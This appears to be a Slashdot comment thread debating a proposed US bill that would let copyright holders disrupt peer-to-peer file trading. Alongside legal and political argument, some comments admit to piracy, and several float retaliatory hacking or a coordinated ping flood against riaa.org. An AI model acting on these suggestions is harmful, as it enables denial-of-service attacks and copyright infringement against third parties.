Well for starters, this is a very touchy issue. In all honesty we all know P2P is used PRIMARILY for piracy. I think the MPAA is well within their rights to try and remove movies from peoples hard drives.
I don't think them DoS'ing a server is very cute though, I compare it to spam, where as the MPAA doesn't have to pay for all the havoc their DoS'ing causes between them and their victum.
Thing is though, the type of DoS'ing they're doing already is benign. All those fake movies and MP3's out there, it's an inconvinience at the most and doesn't really do any critical damage.
For your review, my pirated dishTV
I have a pirated dish TV. 10 channels of porn and everything else. Dish networks will occasionally (before major events) send out a signal that will damage your box if you've been pirating. Do I cry and say "Waaaaaa! They broke MY property!" No! I knew coming into it that this is just a part of being a pirate. I accept the fact that I have to be on a constant mailing list to recieve updates to "Fix" my dishtv box.
So the point I wanted to get across in all this, don't cry because MPAA doesn't want you to pirate their movies anymore. As of now, they don't really have a lot of other recourse until ISP's are required by law to be more forthcoming about a suspected pirates information OR DRM goes from being a pipe dream to something real OR people just stop being pirates.
If they run a DOS attack on me, it costs me bandwidth, and certainly does not make my ISP happy.
By attacking me they are actually attacking my ISP, an innocent third party.
We have the best gov't money can buy!
WWJD? JWRTFA!
Okay, we can't have "public" networks.
I'm a copyright holder.
What about a web of trust, you get someone to "sign" your access key and use that to get access, if these guys get on, we know who permitted them on, and can just kick that person off.
Closed communities are inevitable, that is why I sit on a 30 person IRC network.
The beliefs of Mormons are sufficiently different from orthodox Christianity to be considered a different religion. For example, the belief that the Father was an human(or human- like) being is radically non-Christian. Not to mention the belief that Jesus and Lucifer are "spirit brothers." There are many, many problems with declaring LDS as Christian.
In fact, if you consider Christian beliefs to be vague enough that the LDS would fit, you would probably also have to consider Islam to be a form of Christianity, due to their beliefs about Christ.
This is not meant as an insult, just an observation. The two belief systems(Christianity and Mormonism) simply do not match.
All that is necessary for the triumph of good is that evil men do nothing.
Isn't this pretty much giving these corporations the power to say that Joe Sixpack is guilty of downloading illegal MP3's and sharing them out to the world? I thought everyone is innocent until proven guilty, given the right to trial in front of a jury made up of his/her peers, etc. Does this so called law have protections so these corporations don't all the sudden DoS the living hell out of your computer without giving the evidence to the police and having a trial by jury? Last I heard, every citizen of the United States has the constitutional right to a trial by jury to prove whether they are guilty or not of a crime (in this case, illegal trading of copyrightted works). No law can take this right away, short of a constitional ammendment.
Now I can understand doing this when a person is given a fair trial under this law and is proven guilty...then they just as well fine the fella and let him/her be instead of DoS him/her.
Not to mention, I'd like to see how the cable companies react when their shared internet access gets DoS cuz one user on their network is sharing illegally copyrighted works. Modem users just have to disconnect and connect to a new local access number and continue to surf free.
First of all, think about how they'll find out that you have their copyrighted materials. What kind of snooping might be involved? How will they know if you're trading legal home recordings or one of theirs?
They could install a keyboard capture program to intercept and relay all your keystrokes - this can be justified as gathering evidences. None of the safeguard from the FBI key capture program might be in place here as it's done by a private company.
While there are limitation in the bill on deleting or altering data on the targeted PC,
snooping is NOT altering your existing data.
Also, the limitation of economic damage to the target PC may not be effective. What is the lost of you privacy or damage to reputation worth in dollar terms? The court may not agree with your asessments.
How does one hack a PC without altering existing data?
For example, they could fill up the harddisk and main memory with junk data. We all know what happens when windows runs out of memory!
What are other ways that a target PC might be hacked without deleting existing data?
I think with more thoughts we can come up with many disasterous scenarios...
Comment removed based on user account deletion
gets this one? Most bills die in committee. Target the members of that committee--especially if you're a voter in his/her district.
SC
If you buy WinXP you agree to these terms in the EULA. No such EULA exists for CDs.
Perhaps I'm just crazy, but did anyone see the house bill number listed there? The PDF file just had a blank where that should go and I didn't see it listed anywhere. I would really like to write my representitive about this and would like to reference the bill number. Anyone know?
"publicly accessible peer-to-peer file trading network"
thats every computer on the internet.
The Kruger Dunning explains most post on
I've been following these issues offhand for a while now; I don't do p2p, I don't buy cd's or own a dvd player. I still own and use 12" LP records (70's hard rock, mostly).
Now I'm PISSED!
Just where do these glassholes think all that wonderful, money-saving software came from? I bet they're actually turning a profit on a few recent films and songs because of it.
Moral of this little rant: be careful of who's toes you may be stepping on... because I CAN close my wallet even further. I would urge the rest of the community here to begin doing the same, immediately.
Logic of this approach: The best way in the US to put pressure on a business or group is the financial way... since that's all they seem to pay attention to.
C|N>K
"Then one of the 12, called Judas Iscariot, went unto the chief priests, and said unto them, 'What will ye give me, and I will deliver him unto you?' And they covenanted with him for 30 pieces of silver."
Lets just say that I have T-1 line to the Internet and Verio is providing that line. When a DOS attack is launched it could potentialy flood every router between my box and the intiator of the attack.
Okay by law they were given the right to DOS me but not the ISP which can still file criminal charges. So, it sound like they are still shit out of luck unless the law gives them a "get out of jail free card" for all acts commited during the execution of a plan to attack the offender. Wow, now if that were the case it would open up a huge new can of worms.
"Help me Obi-/.-Kenobi,your my only hope!" -$
I do it to you, but you cannot do it to me. This whole concept is ridiculous. How do they know the difference between copyrighted and uncopyrighted material? Where is the control of these companies? Essentially, this bill allows the industry to disrupt any p2p networks in whatever way they choose. This is insane! Anybody out there for this lunacy?
If you're using GNUnet they won't be able to determine who actually has the file(s) in question.
Once this network gets up to a significant size they would have to practically take down the entire internet to stop it.
The music industry reserves the right to send "RIAA squads" to break into your house and head for your bedroom where they may scan for and remove all copies of burned CDs containing unauthorized MP3s under your bed.
Don't worry, nothing else in the house will be touched.
Your statement is stupid. There is no all-encompassing unity among the posters of Slashdot on any issue. Many of the people you attack are, in fact, involved in system administration or security in some way or another, and certainly do not believe that it is A-OK to crack or DOS systems. Your stereotypes are useless.
As for this bill itself, I personally do not believe that it is "OK" for the government to dole out powers to enforce the law to anyone who feels threatened. This is not the way our society is meant to work. I certainly don't want to see this or any other examples of vigilantism around my town or country.
Will it ever end?
SecondPageMedia - Wha
This is a silly bill that has been introduced by one Congressman. Maybe a few others will sign on as cosponsors. If it ever makes it out of committee, I'd be amazed if it got as many as 20 votes. It's just too ridiculous.
Text taken directly from mpaa.org's piracy page "One real-world example of piracy's devastating impact on the legitimate marketplace is with the 1999 release of the film Star Wars: Episode 1 - The Phantom Menace. Pirate copies of the film (created by using camcorders in US theaters) flooded the Asian marketplace while the film was still in U.S. theatrical distribution. When the film opened legitimately in Asian theaters, attendance was far below expectations. "
Everytime this appears we get a bunch of "we'll show them posters" threatening all kinds of interesting punishments. Forget it.
If/When the law passes each attempt to hack into their computers for any reason will be met with the recently passes "capital crime" of hacking punishment.
You are an individual. They are a corporation.
You are a terrorist. They are protecting the rights of American copyright holders.
You will get 5 - 25 years. They will get new releases on how good a job they are doing stopping these kids from stealing their products.
They donate large sums of money to congress. You are listed as a non-voting demographic. [Better than opposition party or extremist, you are a non-entity.]
I will be surprised if this makes the nightly news anywhere. They want this to be a non-story and will pay plenty to keep it that way. Any story that does arise will be spinning the "protecting America against copyright theft."
If you really want to do something, take five minutes, right now and FAX your representatives [You could try email. Are they any better at reading them today than last year?].
Be polite, be firm and be specific. DMCA got passed because many people expected someone else(our representatives) to see the lunacy in the approach. This just proves we can never underestimate the ability of smart people to do dumb things with the right incentive.
Here are the contacts:
Senate Locator
House of Representative Locator
Do it now
The Register is actually looking forward to this becoming law!
After reading the bill, and then reading the Register article, it becomes obvious that Thomas Greene didn't even bother reading the bill.
The MPAA and friends understand one thing and one thing only. Cash. Loads of it. If the public want to make a statement about what they are doing, it has to impact the cash flow.
We need to organize a "No Media" week protest. A single day won't make them blink. A week of no revenues will.
For one full week, spend no money on any form of MPAA supported media. No movies, no CD's, no DVD's, no video rentals. Not a single thin dime!
And to keep the argument clean, make sure that no media files that MPAA is concerned about gets sent down the Internet wires either. Basically, walk away from the entertainment industry.
We have police for a reason. If someone steals my car stereo, I'm not allowed to grab a shotgun, drive around until I find them and then kill them, even if they are a thief.
If you have reasonable suspicion that a crime is being committed, it should be reported to the police. That's why we have them. If I can't be judge, jury and executioner, then neither should they.
What this basically amounts to is anarchy.
The people they are DOS'ing aren't theives, they're suspected theives and MPAA is who suspects them. If the police wanted to interfere with the operation of my computer they'd need a warrant, but these guys can do it just by suspecting that I might have some of their copyrighted material? Even if this is passed it will never stick.
Who wants to bring a class action lawsuit against the RIAA? We'd be pretty sure to win. We could prove they are DOSing us, costing us money. They can't prove that we have their copyrighted content.
Oh, and get back under your bridge.
Life is too short to proofread.
Assume that the MPAA and RIAA will be able to block packets from any P2P network that they identify as containing their works. I'm not sure how they'll do it, but it probably involves paying off the backbone owners and/or ISPs.
It seems to me that the obvious counter-measure is to use encryption and "trusted peer" techniques to preclude their ability to join the P2P network and/or identify who is trading what.
Looking at the bill, it seems that they cannot delete files. If they do rename the
:)
files, we could write a simple script which stores the names and check sums of all the
files in a directory, and when needed, can re-evaluate the checksums and rename the
files back !
Okay, so the DoS is the big problem. Put a lot of open source files in the same file
share, and the bill says it cannot affect file-sharing of non-copyright violating
files.
It also says that the maximum limit of damage to the offender is limited to 50$
Can we put a price on downloads of legitimate open source files which got affected
by the DoS and prove that its above $50 ?
Anyway, all these comments are just technical points. (Dont we all itch to beat them
at their own games?) C'mon, its not a big deal. Just another card on the table.
Setup nice secure linux servers, put automatic IP filtering for offending IP addresses,
and what can they really do?
And if they do try bashing some poorman's server I am sure the hackers will be more
imaginative in their vengeance
DO NOT PANIC
The quite illogical end to this is people will get some sort of media recording permit, which will in turn allow them to hack into computers at will, provided they don't change anything.
Considering Microsoft has thousands of employees, at least ONE of them has an illegal MP3 on their machine, right? So.. What if its MINE? Does that legally let me DoS Microsofts site into the ground and all their dev machines, all their code databases? This is going to be fun! I bet someone over there has my MP3 illegaly. I'm gunna nuke em all LEGALLY the second this bill gets passes. Sweet.
Remember folks who are US citizens, Berman (D-CA) and Coble (R-NC) are up for election, as are the other 433 members of the House. Send a message if you're in their district. Berman, in particular, is owned by the entertainment industry, with over $100K from Disney, AOL-TW, Sony, DreamWorks, etc.
Coble, on the other hand, sold out for $5734 from the RIAA, according to www.opensecrets.org. I would've thought my rights would cost more than that.
you will have essentially no remedy against them under any laws of the United States
Just for the record, why do you (want to) live in the States nowadays?
If the government starts granting the powers of enforcement to other bodies, then what the fuck good are they? Am I paying taxes to these people so that they can assign all of their work to some corporation in California? Does anyone else see this as one step away from anarchy?
What's next - are they going to assign legislative powers to Microsoft, since making laws is too hard? Oh, poor fucking RIAA. Forced to live under the same laws as everyone else.
Seriously, if our government is not enforcing the law, and legislation can basically be written by someone else and just passed up to the Congressman they bought this year, then what, exactly, IS OUR GOVERNMENT DOING? Probably browsing pr0n all day, because they sure as hell are not RUNNING THE NATION.
Maybe I'm reading the bill wrong but it seems to give "Copyright Owners" the right to impair illegal trading of their files. While large corporate copyright owners would obviously benefit the most from this bill it seems as if a single artist who retains the copyright to his music would be able to enact his own impairments if he is protecting his own copyright. He just has to be careful to follow the letter of the law.
It looks a bit like government condoned vigilanteism to me.
jij
Actually, depending on what "manner..the Attorney General shall specify," it may still be unequal protection.
/.ers) think it shouldn't be policed by local governments. But on the other hand, you can be arrested for blocking traffic or sidewalks...
As for whether or not DoS attacks should be illegal, that is a philosophical point. On one hand, the internet is global, so many (of us
-RB
"One man can change the world with a bullet in the right place."
- Mick Travis, "If..."
Can this law apply to out of country servers ? Definitely not! ;)
DO NOT PANIC
Meet the new terrorists: the RIAA & MPAA. Anybody want a buggy whip with their CD? The paradigm has shifted and the new terrorists will go to any length to protect their revenue stream. The only way to revolt is to stop buying their products. Let them whither away without a customer base. Free Market at it's best.
Sig?! Sig?! We don't need no stinking sig!!
You will really want to start reading those EULAs for everything you download if this becomes law...
Let it be known:
I, TheUndertaker, citizen of the United States of America, hereby declare that any attempt by the MPAA or the RIAA or any of their affiliates to Denial of Service, perform any act(s) of sabatoge or attack my friends, family or my Personal Computer would be as an attack upon me.
Therefore under Amendment 10 of the constitution of the United States of America, I will exercise my right: that all power not granted to the United States is hereby reserved to the states and people. As a result, I will exercise my right to self defense and the protection of my home and family personal computer property. I will use all computer related resources to bring any attempt or acts of sabatoge to a successful conclusion.
MPAA and RIAA you have been warned. This is your last chance now to withdraw your threat to Denial of Service/Sabatoge personal computers of others of whom you have no jurisdiction over.
A bunch of kiddies up in arms about their "right" to illegally traffic in copyrighted works is being "infringed". Get a real job so you can BUY the stuff. I doubt anybody here has actually CREATED anything, so you have no appreciation of the artists side.
It's simple. Pirates are very determined to continue piracy. If the MPAA, RIAA, or whoever start hacking, three things will happen.
1. The outcome will be true to the traditional form of computer security: the more people you have banging on something, the better it'll get in the long run. People who design and develop the P2P networks and the systems they run on will have intense motivation to make those systems more secure against crackers. More bugs will be found and squashed since the attackers in this case are not afraid of legal ramifications.
2. Pirates'll change their software. Most pirates are probably on fairly insecure systems at the moment. When they find themselves being shut down in this manner, they'll move to more secure platforms and services.
3. Whoever these entities are will eventually blunder such that they will destroy both their credibility and make them look like jackasses. In time, they are going to hire people who will abuse this to the maximum possible extent. There's also the extreme likelihood that some attacks will be waged on critical systems for businesses or whoever (someone sets of a warez depot on their company's xyz server).
These people who want this nonsense fail to realize exactly how pointless all this is. They don't understand that they are dealing with an animal that heals faster than it can be injured. When they took out Napster, a dozen file sharing services popped up to take its place. Likewise today, when they start cracking to take down sharing networks and systems, the users will only build them up stronger. Not to mention that no matter at what scale they launch these attacks, the MPAA, RIAA, or whoever could never have enough attackers to even make a dent on the whole system. There's at least an order of magnitude more pirates than there are people stopping them. Again, they will make themselves look like jackasses.
Damn fools. Greed makes them both blind and stupid. They could spend some time coming up with a fair business model that could survive out there today without a lot of extra bullshit (Palladium, DRM, etc). That would require a lot less time and money.
Why bother.
A good first step would be to exclude USA from international patent and copyrught organizations, allowing the rest of the world to freely copy anything American.
In Murphy We Turst
And that's a good thing? This just serves to deputize the vigilantes. No notice of the victim of this harassment is there except by his request, after the fact - and I guarantee the DoJ won't actively police the harassers, they'll rubber-stamp the requests.
Here's some text:
As another poster noted, this can easily be interpreted to mean the entire internet, or any application on it.This bill is probably unconstitutional, but it MUST BE DEFEATED. And the author MUST BE DRIVEN FROM OFFICE. Who's running against him this year? Where do I send a check?
sulli
RTFJ.
All I have to say, having read the entire bill, is that this is effectively an end run around my constitutional right to due process. Sure, they put in the caveat about having to notify the justice department, as if that's going to be effective.
*Condense fact from the vapor of nuance*
So we hate the MPAA today. Noyce!
"Teachers leave us kids alone
Find a GPL violation, then DOS them.
sulli
RTFJ.
It's called the DNR.
The dingo ate my sig.
While I have no doubt they would love to have this type of power in order to trash your computer, I can see this being even more trouble for them. You now have a real costly amount of damage that the can do to one's system, since instead of attacking just the P2P network, they are now attacking the whole computer with parts like the programs you run, any legal files, OS, maybe even hardware if they could.
Given how a easly Windows machines can be compromised, and how little a lot of people know about computers, what if someone sets up a virus that spreads a p2p client into the background? I can see a real problem if they start attacking that p2p and in the process endup attacking some big coperations and causing some major damage to their machines.
So how is this any different from sinking the guy who didn't pay up with cement shoes? Mafia's often have legit business - they are just protecting their interests, right?
Will the MPAA & RIAA be allowed to assassinate pirates in the future?
Why bother.
- (B) causes economic loss to any person
other than affected file traders; or
- (C) causes economic loss of more than $50.00 per impairment to the property of the affected file trader, other than economic loss involving computer files or data made available through a publicly accessible peer-to-peer file trading network that contain works in which the owner has an exclusive right granted under section 106;
This means that if they dos someone on my local cable segment then I can sue them if it impacts my bandwidth, Comcast can sue if it deprives their customers of service and/or uses their resources, and all the backbones and other service providers whose bandwidth is eaten up can call for reimbursement.The two downsides of this is that the bill is not limited to dos. It is pretty wide open in that they can do pretty much anything technologically which has the effect of "disabling, interfering with, blocking, diverting, or otherwise impairing the unauthorized distribution, display, performance, or reproduction" of their material. Which includes crashing or otherwise rendering inoperable network communications on the computer.
Not only that, but anyone who tries to face up to them needs very deep pockets to fight them - even if they caused more than $50 of damage they'll still have to prove it in court.
In other words, "Shoot now, ask questions later" and "You are guilty until proven innocent" should be stamped across this bill.
Translation: Fight the bill here and now. It'll be ten times more difficult and costly to remove it from law than it is to keep it from being placed there in the first place.
-Adam
... If you bounce it off an MPAA server first?
The more convoluted the laws are, the more fun bored high schoolers are going to have obeying the letter while grossly violating the spirit.
But hey, at the possibility of legally enlightened and aware kids, I should be grateful for this, right?
I suppose I should get my Anti-MPAA/RIAA Stickers now then.
Folks, it is clear to me that the legislative process is so corrupted by the Copyright special interests that the laws that it produces are not legitimate representations of the will of the people.
I believe that the only moral response in such a case is to violate those laws. Screw the MPAA. Screw the RIAA. Screw Congress. It is time for freedom loving people to declare openly that they will not recognize copyrights held by the MPAA and RIAA.
Am I wrong?
Is it still legal to do this to my box up in Canada? There are Computers outside the US that are on the net (for those of you that have forgotten). If they do this to me, I am within my rights to call a lawyer and sue them. Of course, if the US government protects the MPAA and RIAA, I am just as screwed as a US citizen. But if enough non-US computers are hit, then this can cause political problems for the United States.
I posted this in the midst of another thread, so re-post so it isn't burried deep:
This bill applies to every copyright holder. But therein lies some of the more farcical (and completely realistic) scenarios that can be envisioned.
Osama Bin Laden owns the copyright and IP to his own image. Do you have a video clip of him on your computer? Well he would be able to hack in and destroy the file if he had a reasonable belief that you were harvesting his files.
Wait, doesn't the US government have his image, perhaps on an NSA computer? Well that can be legally hacked.
Clearly this seems far-fetched, but will be perfectly allowed in the plain language of the legislation. Why on earth would Congress want to pass a bill that will weaken cyber-security? This is the one of the best angles of attack, b/c no legislator wants to be perceived as weak on computer security.
As an added irony, I note that Lamar Smith, author of the cyber-crime bill that passed earlier this weak (with only one dissenting vote) is a co-sponsor of this bill. So if I understand correctly, he authors a bill to give lifetime imprisonment to hackers, but also allows copyright holders to hack....mmm hmm, that is the consistency I love from our reps!
Also note that in the definitions, p2p services that have a central server are exempted (carve out for AIM, nah couldn't be). However, the idea of a centralized server was taboo under the Napster case. So run a de-centralized server, be subject to this Berman Bill, run a centralized server, be subject to Napster (which would have been immune to this bill).
Seriously. If anything, this could possibly give us an excuse to hack THEIR systems, "looking for copyrighted content."
Seriously, if the MPAA and RIAA claim that the average Joe has these things (often, which are purchased) on their computers, why shouldn't Joe think they have some of his own works as well?
Hell, I'm sure someone at the MPAA has accessed copywritten materials, such as a review on a website (which is copyright author/website). If they have those materials on their computer, say, in their cache, wouldn't that be more than enough of an excuse to hack THEM to see it? Afterall, they don't seem to need too much proof to do this, so anyone else shouldn't have much of a problem.
This bill is obviously wrong, and I highly doubt it will ever actually be passed into law. Given that, I am still ashamed to be from a country whose government is so blatently in bed with big media.
The top industries supporting Howard L. Berman are:
1 TV/Movies/Music $186,891
2 Lawyers/Law Firms $97,100
The top industries supporting Howard Coble are:
1 Lawyers/Law Firms $35,515
2 TV/Movies/Music $33,483
There is nothing these two "gentlemen" would not to to keep sucking at the media industry tit. Even to the degree of drafting such nonsensical law that clearly violates the "equal treament" under privilege or immunity of the 14th Amendment by immunizing corporations against felonious activities conducted by them against citizens without considering due process.
Da Blog
I went to a used book store and got 340 classic science fiction books from the 1940s to the 1980s (Heinlin, Asimov, Bradbury, PK Dick, etc).
My cost was $93.75.
The ideas in most of these books are amazing, especially considering when they were written...
The definition of 'File Trading Network' includes everything.
HTTP, FTP, SCP, copy (for windows users). Probably everything anyone can think of could be added to this list.
If you look at all the comments and followup articles by other people, they all seem to be obsessed with the idea that this means it will be 'open season' on the MPAA and others... theregister has an article that talks about this too. What I'm confused/interested about is that everyone says 'hey, now we can break into systems and claim that we were searching for stolen data' but unless i can't read legislature correctly (which wouldn't suprise me), I think that we'd have to jump through so many hoops, like telling the Department of Justice, the people who you want to hack, and probably some senator's mother too just so that after a week's worth of notification, you could actually 'hack' them, that it's not worth the trouble. Maybe this bill will let the corporate juggernauts bust some kiddies up, but I don't think this is as exciting for us regular mp3 listeners as everyone is making it out to be.
-d
However, *if* it's legit, then we're one step closer to the future according to William Gibson and R. Talsorian Games.
Zagreus sits inside your head, Zagreus lives among the dead, Zagreus sees you in your bed and eats you in your sleep.
Ok here we go
1) This is only involved on p2p. 2) So if it is not done on p2p it is illegal. 3) Monkies are not peers, becuase monkies are not human. 4) Have a computer wired into a monkies brain so that all transfers pass through monkies brains, and the computer in the monkies brain has to ok file tranfers. Therefore It will be P2M2P
...I say we draw up plans for what I call the "F.U. Class Slashdot Cannon" and prepare to aim it at the first IP that tries it. For testing purposes, I say we wipe out Planethollywood.com. It'll be just like Star Wars!
"Derp de derp."
care to explain your reasoning? they use bandwidth paid for by the victim, often crash the victim's computers, and prevent potential customers from accessing the victim's content. at the same time, dos attacks benefit absolutely.
the only person who gets anything out of a dos attack is some lamer script kiddie who thinks he's l33t because he ran some code he got from irc. everybody else is inconvenienced at the least, possibly even cost some money. it's not speech, so it's not a first amendment issue. so tell me -- why shouldn't it be illegal?
#define F(x) int main(){printf(#x,10,#x);}
F(#define F(x) int main(){printf(#x,10,#x);}%cF(%s))
The Fathers of our Nation are slapping their collective foreheads and saying:
"WTF!?!"
I think one of these days Thomas Paine is going to show up in Hollywood and bust some heads. Either that, or someone with some clout (and some cajones) needs to stand up and say that shit is getting out of control in the U.S. ---
mstyne: real name, no gimmicks
Since mere citizens are unable to buy laws that exempt them from prosecution for criminal acts, the thought occurred to me that we should all refrain from committing criminal acts.
An ICMP echo packet sent to www.riaa.org every 5 seconds could not possibly be considered an attack of any kind. I mean, people quite often ping prominent websites at regular intervals in order to keep tabs on their Internet connection, and to keep tabs on their upstream's peering performance. These things are easy to setup and forget, just a one-liner in the crontab, you know. It might be a problem if 100,000 people did it, but what can you do about it if people just picked your site outof the blue as one to monitor?
Just something to think about... no suggestion is intended.
Edith Keeler Must Die
Congress, or those who fund the RIAA? (Both, actually.) A new movie comes out, ding! we start salivating like the faithful lapdogs that we are. We must have our amusement no matter what.
Slashdot: Failed Car Analogies. Amateur Lawyering. Anecdote Battles.
Here's your chance to legally hack Microsoft and see if they're using your GPLed code.
Here's what I want to see happen:
Maybe the state's highest function is to grind out insoluble problems. (Zelazny, Hall of Mirrors)
we know what happens then...
Thank you.
This is a democracy, write your representatives, and tell them not to pass this intolerable nonsense. Before it's too late. Let them know how you feel, and that they will not be getting your vote if they pass this.
"I think the MPAA stole a copywritten song from me"
Skiers and Riders -- http://www.snowjournal.com
Oh, but that would be illegal, wouldn't it? This law better not pass, because it'll open a bajillion lawsuits. I love how companies are "do as we say, but not as we do." Just makes me sick. This sort of thing totally kills my buzz from being American.
Why is it always "a week", or "a month". Why not just boycott the bastards for good?
Jeez, does this mean after the boycott week we can run back to the record store with a wad of cash and buy up all those CDs we went without for a week?
Do you really think "a week" boycott will matter one bit to these nazis? No, the only thing which will work is a boycott of these clowns and their "products" for the forseeable future.
DoS attacks shouldn't be illegal in the first place.
EXCUSE ME?? You (or some script kiddie) have ZERO right to impede the use of MY computer. None. Zip. Zilch. There is no justifiable reason on Earth why you, or anyone else, should have the ability to maliciously attack my computer, denying me service that I have paid for, let alone any sort of income I may be gathering from said service.
Your rights end at the tip of my cat5, and unless you can come up with some reason why your attacking me better serves the public good than my being online, you have no business interfering with mine.
Endless arguments over trivial contradictions in books written by ignorant savages to explain thunder in the dark.
to law and order.
i realize i'm seen as a criminal to some out there... but the law is to be enforced by the authorities, those elected, or who's boss is elected like sheriffs and commisioners, etc. state and federal officials are liable for damages they inflict when you're innocent.
who's gonna stop the riaa and mpaa from DOSing anyone they feel like it? even if i'm clean, but i'm an advocate of a ban on intellectual property, they can use their powers to suspect me as a ringleader and screw up my means to communicate with my people.
foolish, foolish stuff. i can't imagine it going very far before it's shot down by cooler heads. hello, supreme court? a bill that spits in your face? care to squash it?
m.
http://www.pataphysics-lab.com
Having read through the bill, I'd like to make some observations.
The bill defines a peer-to-peer network as being:
two or more computers which are connected by computer software that (A) is primarily designed to (i) enable the connected computers to transmit files or data to other connected computers... (B) does not permanently route all file or data inquiries or searches through a designated, central computer located in the United States
This would seem to obviate any centralized file-trading system (like Napster). In fact, it would exclude any system not truly peer-to-peer. Odd.
The bill also includes provisions for suing the copyright holders if they cause at leaset "$50" in economic damages to you. However, it specifies "Monetary" damages. Does this mean hardware repair, as opposed to the less tangible lost bandwidth? If so, can we throw this back at their somewhat intangible "losses to piracy"?
They also must notify the Justice Department 7 days in advance, as I read it. Given the shitfting nature of the Internet, that seems useless to the **AA.
Okay, this bill sucks, but it doesn't seem nearly as dangerous (yet) as everyone makes it out to be.
~Chazzf
No statement is true, not even this one.
They own the copyright. Let them protect it. Frankly, I would rather this be copyright-owners' defense than costly and time-consuming litigation.
I can just see a P2P network detecting a DoS attack and instructing other clients to fire shots back at the source. It'd be interesting of Kazaa or somebody were to develop it that way because it'd make anybody who intends to flood a network think twice about it.
Of course, this could potentially be exploited. However, if the MPAA angers enough people they might be willing to risk it.
Does this mean the people who wrote Apache can DoS my web server? And the GNU people can DoS the rest of my computer?
Posted from the wireless couch.
The meat is in
Sec. 514(a): "Notwithstanding any State or Federal statute or other law, . . . a copyright owner shall not be liable in any criminal or civil action for disabling, interfering with, blocking, diverting, or otherwise impairing the unauthorized distribution, display, performance, or reproduction of his or her copyrighted work on a publicly accessible peer-to-peer file trading network, if such impairment does not, without authorization, alter, delete, or otherwise impair the integrity of any computer file or data residing on the computer of a file trader."
But there are other gems as well. Such as the part that says no matter how much of your legitimate traffic they screw up, it's OK if they're going after a work they have copyright to.
Sec. 514(b)(1)(A): The copyright holder is still liable if he "impairs the availability within a publicly accessible peer-to-peer file trading network of a computer file or data that does not contain a work, or portion thereof, in which the copyright owner has an exclusive right granted under section 106, except as may be reasonably necessary to impair the distribution, display, performance, or reproduction of such a work, or portion thereof, in violation of any of the exclusive rights of the copyright owner under section 106"
Finally, there's the notice provision. This is truly comical -- they're required to notify you of your rights after they DoS you and only if you ask them. How you're supposed to know who it is who did this to you is a good question. Heck, how are you even supposed to diagnose the problem when your entire internet service suddenly goes out, much less figure out which rights-holder did it?
Sec. 514(c)(2): "At the request of an affected file trader or the assignee of an Internet Protocol address used by an affected file trader, a copyright owner shall provide notice to the affected file trader or assignee (as the case may be)..."
"We reject as false the choice between our safety and our ideals." --The American President (20.1.2009)
It is not the place of private corporations to be actively enforcing laws. So, yes, it is unfair. Would you want insurance companies sending employess out on highways with radar guns to write speeding tickets? I'm sure speeders hurt the insurance companies' bottom lines. But enforcing laws is not the province of private individuals or companies. Corporations should not be given executive powers. This bill is the very definition of vigilantism.
Do a DOS attack on someone on a shared Cable Modem without affecting everybody else that is on that network? Is this even possible? They cannot affect/disrupt anybody else aside from the person that they are after.
Another little point. How can they determine what is copyrighted material and what isn't? Is there some secret "copyright-bit" that is now encoded in music files that will allow the "INDUSTRY" determine which files it is after?
I get the impression that Berman has no clue about what he is proposing here. Anybody else get that feeling?
i am not a hacker, and this is a troll, but possibly a good one.
The fact that this legislation has made it so far, and that nothing has really shaken the MPAA/RIAA in their successful attempts at re-writing laws to serve their needs is a testament to the lack of real hackers in this world.
I say this because of so many posts i've seen in the tone "...we'll show those fat cats when we take down their systems and publish their personal information..." Since nothing like this has occurred since DMCA, I can only conclude that there aren't any hackers with the skill to do this. OR, the penalties really are so steep that the government has succeeded in their goal to scare hackers into submission. I vote for the latter, in which case, they've won.
https://www.accountkiller.com/removal-requested
Libertarianism is rich wolves and poor sheep playing gambler's ruin for dinner.
So, correct me if I'm wrong, but doesn't this leave Google (and a slew of others) open to attack from $cientology because of both cached copies of pages, and supposedly copywrited documents?
so tell me -- why shouldn't it be illegal?
I don't think any government should have jurisdiction over the internet. I believe this philosophically, but also practically, because I don't want my tax money going to protect the interests of corporate ISPs. ISPs should police themselves, by unplugging the connections of DoS attackers.
So what would happen if the MPAA started to hack your web site of ftp server and you redirected them to a site operated by the CIA? That would be fun. They could explain their immunity as they lie face down on the floor with a gun pointed to the back of their heads.
There are plenty of other things they can do to stop piracy but I don't see them doing it. Go to usenet groups or IRC rooms where movies are traded. Its the same people doing it every day. Is it that hard for the MPAA and RIAA to go to the ISPs, colleges, or even the local governments where these files originate and ask that something be done? It seems they'd rather attack everyone through legislation and abolish fair use than go after the source. Now they want to put themselves above the law and take things into their own hands. If this passes then what is next? I'm going to go write my representatives now.
'Same speed C but faster'
since the FUCKING LAMENESS FILTER won't let me post it. Ok then, READ THE GODDAMN PDF YOUR FUCKING SELF.
or reproduction of his or her copyrighted work
Page 2 line 17
That is the only 'her' in the bill.
Perhaps you should read the bill fully before you post whacko statements.
It seems that The United States is loosing more and more of its reputation as a land of the free. When companies can sabotage your property sanctioned by the state things have gotten out of hand. The police and the justice system is designed to take care of felonys, not some mob slaying whatever ends in .mp3 be it a homemade song or not. I dont live there so i shouldnt complain perhaps but it still makes me angry. It will affect me in some way or another because i use p2p to get the songs i have on mp3 instead of ripping them myself. Its things like this that has made my very large cd collection to stop growing totally. I truly havent bought a single CD since the crusade from MPAA etc began.
HTTP/1.1 400
If anyone who has copyrighted material on the internet can attack a server to prevent the distribution, what will it mean for Google's humongous (and often convenient) cache of stored webpages?
You know, I almost want to like this, but probably not for the reasons you think.
Were it not for the fact that legal corporate DOS attacks would kill EVERYONE'S bandwidth and violate every known acceptable network use policy for every upstream provider known to God, (and a few that probably aren't.) I'd almost say that it's a good thing.
Why?
Because they'd have to let all you, as copyright holders, play along.
Pity the day that a large media company steals your domain name and you DOS them out of several million in sales and service -- LEGALLY!
And stop, think and drool for a moment at the possibilities of two companies, instead of going to court over copyright issues, just DOS each other out of existance.
And lets not forget the wonderful economic stimulus that adding several million script kiddies to the payroll with bring. And it's cost effective! You can get literally THOUSANDS of underpaid, almost-unpaid, basicially unskilled Hindu hackers for the price of a good legal team.
But then, see, my solution to everything is to give everyone a gun. Sure, you have a period where all the idiots kill each other, but then, things quiet down, and noone uses them unless they really have to.
But, ya know, it's not like the copyright and intellectual property realms couldn't use that kind of shakeup. It does. Bigtime.
Not to mention that it brings the wonderful cyberpunk world just *that* much closer to reality.
Welp, I'll leave you to ponder that while I buy a stack of good books, and pack up my tent and 60 years worth of freeze-dried food onto the back of my ATV and head off for the wilderness of Pennsylvania. Cheers!
Ed R.Zahurak
You know, oblivion keeps looking better every day.
